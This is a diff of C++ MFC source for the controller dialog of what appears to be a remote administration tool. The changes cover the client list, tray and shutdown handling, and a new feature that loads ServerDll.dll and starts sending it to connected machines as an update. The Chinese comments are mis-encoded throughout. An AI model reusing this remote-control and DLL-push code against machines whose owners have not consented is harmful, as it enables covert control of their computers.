ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager) ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
@@ -187,19 +195,16 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
switch ((UINT)lParam) switch ((UINT)lParam)
{ {
case WM_LBUTTONDOWN: case WM_LBUTTONDOWN:
case WM_LBUTTONDBLCLK:
{ {
if (!IsWindowVisible()) if (IsIconic())
{ {
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
}
else
{
ShowWindow(SW_HIDE);
}
break; break;
} }
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
SetForegroundWindow();
break;
}
case WM_RBUTTONDOWN: case WM_RBUTTONDOWN:
{ {
CMenu Menu; CMenu Menu;
@@ -218,8 +223,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
VOID CMy2015RemoteDlg::CreateSolidMenu() VOID CMy2015RemoteDlg::CreateSolidMenu()
{ {
HMENU hMenu; //SDK C MFC C++ HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2> ::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD> ::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
} }
@@ -241,7 +245,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
VOID CMy2015RemoteDlg::CreateNotifyBar() VOID CMy2015RemoteDlg::CreateNotifyBar()
{ {
#if SHOW_NOTIFY #if INDEPENDENT
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD> m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
m_Nid.uID = IDR_MAINFRAME; //icon ID m_Nid.uID = IDR_MAINFRAME; //icon ID
@@ -302,7 +306,7 @@ VOID CMy2015RemoteDlg::InitControl()
rect.bottom+=20; rect.bottom+=20;
MoveWindow(rect); MoveWindow(rect);
for (int i = 0;i<g_Column_Count_Online;i++) for (int i = 0;i<g_Column_Count_Online;++i)
{ {
m_CList_Online.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth); m_CList_Online.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth);
@@ -310,15 +314,13 @@ VOID CMy2015RemoteDlg::InitControl()
} }
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
for (int i = 0; i < g_Column_Count_Message; i++) for (int i = 0; i < g_Column_Count_Message; ++i)
{ {
m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].szTitle,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth); m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].szTitle,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth);
g_Column_Message_Width+=g_Column_Data_Message[i].nWidth; g_Column_Message_Width+=g_Column_Data_Message[i].nWidth;
} }
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
SetTimer(0,3000,NULL); // <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD>
} }
@@ -327,11 +329,26 @@ VOID CMy2015RemoteDlg::TestOnline()
ShowMessage(true,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>..."); ShowMessage(true,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>...");
} }
bool IsExitItem(CListCtrl &list, DWORD_PTR data){
for (int i=0,n=list.GetItemCount();i<n;i++)
{
DWORD_PTR v = list.GetItemData(i);
if (v == data) {
return true;
}
}
return false;
}
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject) CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject)
{ {
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (DWORD)ContextObject)) {
LeaveCriticalSection(&m_cs);
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
return;
}
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP); int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
@@ -341,9 +358,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU); m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo); m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp);
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
m_iCount++;
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
@@ -352,24 +371,19 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
{ {
CString strIsOK,strTime; CTime Timer = CTime::GetCurrentTime();
CTime Timer =CTime::GetCurrentTime(); //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CTime <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>GetCurrentTime() <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SDK<44><4B><EFBFBD><EFBFBD> CString strTime= Timer.Format("%H:%M:%S");
strTime= Timer.Format("%H:%M:%S"); CString strIsOK= bOk ? "ִ<EFBFBD>гɹ<EFBFBD>" : "ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
if (bOk)
{
strIsOK="ִ<EFBFBD>гɹ<EFBFBD>";
}
else
{
strIsOK="ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
}
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Message.SetItemText(0,1,strTime); m_CList_Message.SetItemText(0,1,strTime);
m_CList_Message.SetItemText(0,2,strMsg); m_CList_Message.SetItemText(0,2,strMsg);
CString strStatusMsg; CString strStatusMsg;
m_iCount=(m_iCount<=0?0:m_iCount); //<2F><>ֹiCount <20><>-1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD> EnterCriticalSection(&m_cs);
int m_iCount = m_CList_Online.GetItemCount();
LeaveCriticalSection(&m_cs);
strStatusMsg.Format("<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_iCount); strStatusMsg.Format("<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_iCount);
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD> m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
@@ -406,7 +420,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE); // <20><><EFBFBD><EFBFBD>Сͼ<D0A1><CDBC> SetIcon(m_hIcon, FALSE); // <20><><EFBFBD><EFBFBD>Сͼ<D0A1><CDBC>
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
isClosed = FALSE;
g_2015RemoteDlg = this; g_2015RemoteDlg = this;
CreateToolBar(); CreateToolBar();
InitControl(); InitControl();
@@ -417,12 +431,17 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
CreateSolidMenu(); CreateSolidMenu();
ListenPort(); if (!ListenPort()) {
OnCancel();
return FALSE;
}
#if !SHOW_NOTIFY #if !INDEPENDENT
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
#endif #endif
timeBeginPeriod(1);
return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD> TRUE return TRUE; // <20><><EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD> TRUE
} }
@@ -433,7 +452,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
CAboutDlg dlgAbout; CAboutDlg dlgAbout;
dlgAbout.DoModal(); dlgAbout.DoModal();
} }
#if !SHOW_NOTIFY #if !INDEPENDENT
else if(nID == SC_CLOSE || nID == SC_MINIMIZE) else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
{ {
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
@@ -490,6 +509,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
{ {
return; return;
} }
EnterCriticalSection(&m_cs);
if (m_CList_Online.m_hWnd!=NULL) //<2F><><EFBFBD>ؼ<EFBFBD>Ҳ<EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD> if (m_CList_Online.m_hWnd!=NULL) //<2F><><EFBFBD>ؼ<EFBFBD>Ҳ<EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD>
{ {
CRect rc; CRect rc;
@@ -499,7 +519,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
rc.bottom = cy-160; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.bottom = cy-160; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Online.MoveWindow(rc); m_CList_Online.MoveWindow(rc);
for(int i=0;i<g_Column_Count_Online;i++){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD> for(int i=0;i<g_Column_Count_Online;++i){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD>
double Temp=g_Column_Data_Online[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> 138 double Temp=g_Column_Data_Online[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> 138
Temp/=g_Column_Online_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE> Temp/=g_Column_Online_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE>
Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD> Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
@@ -507,6 +527,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
m_CList_Online.SetColumnWidth(i,(lenth)); //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD> m_CList_Online.SetColumnWidth(i,(lenth)); //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
} }
} }
LeaveCriticalSection(&m_cs);
if (m_CList_Message.m_hWnd!=NULL) if (m_CList_Message.m_hWnd!=NULL)
{ {
@@ -516,7 +537,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
rc.right = cx-1; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.right = cx-1; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
rc.bottom = cy-20; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.bottom = cy-20; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Message.MoveWindow(rc); m_CList_Message.MoveWindow(rc);
for(int i=0;i<g_Column_Count_Message;i++){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD> for(int i=0;i<g_Column_Count_Message;++i){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD>
double Temp=g_Column_Data_Message[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> double Temp=g_Column_Data_Message[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD>
Temp/=g_Column_Message_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE> Temp/=g_Column_Message_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE>
Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD> Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
@@ -548,50 +569,37 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
switch(nIDEvent)
{
case 0:
{
break;
}
case 1:
{
break;
}
}
} }
void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::OnClose()
{ {
bool bOpened = false; // <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); ShowWindow(SW_HIDE);
iter != v_FileDlg.end(); ++iter) OutputDebugStringA("======> Hide\n");
{
CFileManagerDlg *cur = *iter;
if (!cur->m_bIsClosed){
bOpened = true;
break;
}
}
if (bOpened)
{
MessageBox(_T("<EFBFBD><EFBFBD><EFBFBD>ȹر<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"));
return;
} }
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ void CMy2015RemoteDlg::Release(){
KillTimer(0); OutputDebugStringA("======> Release\n");
isClosed = TRUE;
#if SHOW_NOTIFY ShowWindow(SW_HIDE);
#if INDEPENDENT
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetItemCount();
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
}
LeaveCriticalSection(&m_cs);
Sleep(200);
EnterCriticalSection(&m_cs);
/*
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter) iter != v_FileDlg.end(); ++iter)
{ {
@@ -601,6 +609,7 @@ void CMy2015RemoteDlg::OnClose()
Sleep(1); Sleep(1);
delete cur; delete cur;
} }
*/
for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin(); for (std::vector<CRegisterDlg *>::iterator iter = v_RegDlg.begin();
iter != v_RegDlg.end(); ++iter) iter != v_RegDlg.end(); ++iter)
{ {
@@ -613,15 +622,14 @@ void CMy2015RemoteDlg::OnClose()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
ShowWindow(SW_HIDE); Sleep(300);
Sleep(500);
if (m_iocpServer!=NULL) if (m_iocpServer!=NULL)
{ {
delete m_iocpServer; delete m_iocpServer;
m_iocpServer = NULL; m_iocpServer = NULL;
} }
CDialogEx::OnClose(); timeEndPeriod(1);
} }
@@ -640,16 +648,20 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
GetCursorPos(&Point); GetCursorPos(&Point);
int iCount = SubMenu->GetMenuItemCount(); int iCount = SubMenu->GetMenuItemCount();
if (m_CList_Online.GetSelectedCount() == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1> EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetSelectedCount();
LeaveCriticalSection(&m_cs);
if (n == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
{ {
for (int i = 0;i<iCount;i++) for (int i = 0;i<iCount;++i)
{ {
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
} }
} }
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0; *pResult = 0;
@@ -662,27 +674,78 @@ void CMy2015RemoteDlg::OnOnlineMessage()
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
fileSize = 0;
try {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ֻ<EFBFBD><D6BB>ģʽ<C4A3><CABD>
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
fileSize = file.GetLength();
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>: ͷ+<2B>ļ<EFBFBD><C4BC><EFBFBD>С+<2B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
if (!buffer) {
return NULL;
}
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
return buffer;
}
catch (CFileException* e) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>
TCHAR errorMessage[256];
e->GetErrorMessage(errorMessage, 256);
e->Delete();
return NULL;
}
}
void CMy2015RemoteDlg::OnOnlineUpdate()
{
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.dll");
ULONGLONG fileSize = 0;
char *buffer = ReadFileToMemory(path, fileSize);
if (buffer) {
buffer[0] = COMMAND_UPDATE;
